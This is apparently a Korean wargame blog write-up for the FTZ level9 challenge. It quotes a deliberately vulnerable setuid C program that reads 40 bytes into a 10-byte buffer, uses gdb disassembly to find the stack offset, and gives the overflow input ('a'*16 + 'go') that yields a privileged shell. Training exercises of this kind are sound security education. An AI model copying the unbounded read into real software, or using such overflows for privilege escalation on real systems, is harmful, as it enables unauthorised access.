hint : 다음은 /usr/bin/bof의 소스이다. 이를 이용해 level10의 권한을 얻어라.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
1. buf배열에 40바이트까지 입력받음
2. buf2와 "go" 비교 -> 같으면 0 반환
3. 즉, buf와 go가 같다면 /bin/bash가 실행되겠다.
buf[10] (낮은 주소)
-----------------------
buf2[10] (높은 주소)
스택이 위와 같이 쌓일 것이라고 예상했다. 때문에 buf 입력받을때 a*10 + go를 하면 buf2[0:2] = "go"가 될 거라 생각해 입력했는데 개뿔...
스택 쌓이는 순서가 다른가? 뭘 다르게 알고 있나..
cd tmp
cat > bof.c 해서 코드를 그대로 복붙했다.
gcc -o bof bof.c
gdb bog
> disas main
어셈을 하나하나 이해하지는 못하지만, call 부분을 기준으로 buf와 buf2의 위치를 파악할 수 있다.
* int a; int b; 이렇게 나온다고 연속으로 4byte씩 스택에 쌓이는 게 아닌가보다.
- fgets 인자 buf -> ebp-40
- strncmp 인자 buf2 -> ebp-24
둘 차이가 16이구나.
답 : "a"*16 + go
'워게임 > FTZ' 카테고리의 다른 글
FTZ - level11 (0) | 2021.07.21 |
---|---|
FTZ - level10 (1) | 2021.07.12 |
FTZ - level8 (0) | 2021.07.06 |
FTZ - level7 (0) | 2021.07.06 |
FTZ - level6 (0) | 2021.07.06 |
댓글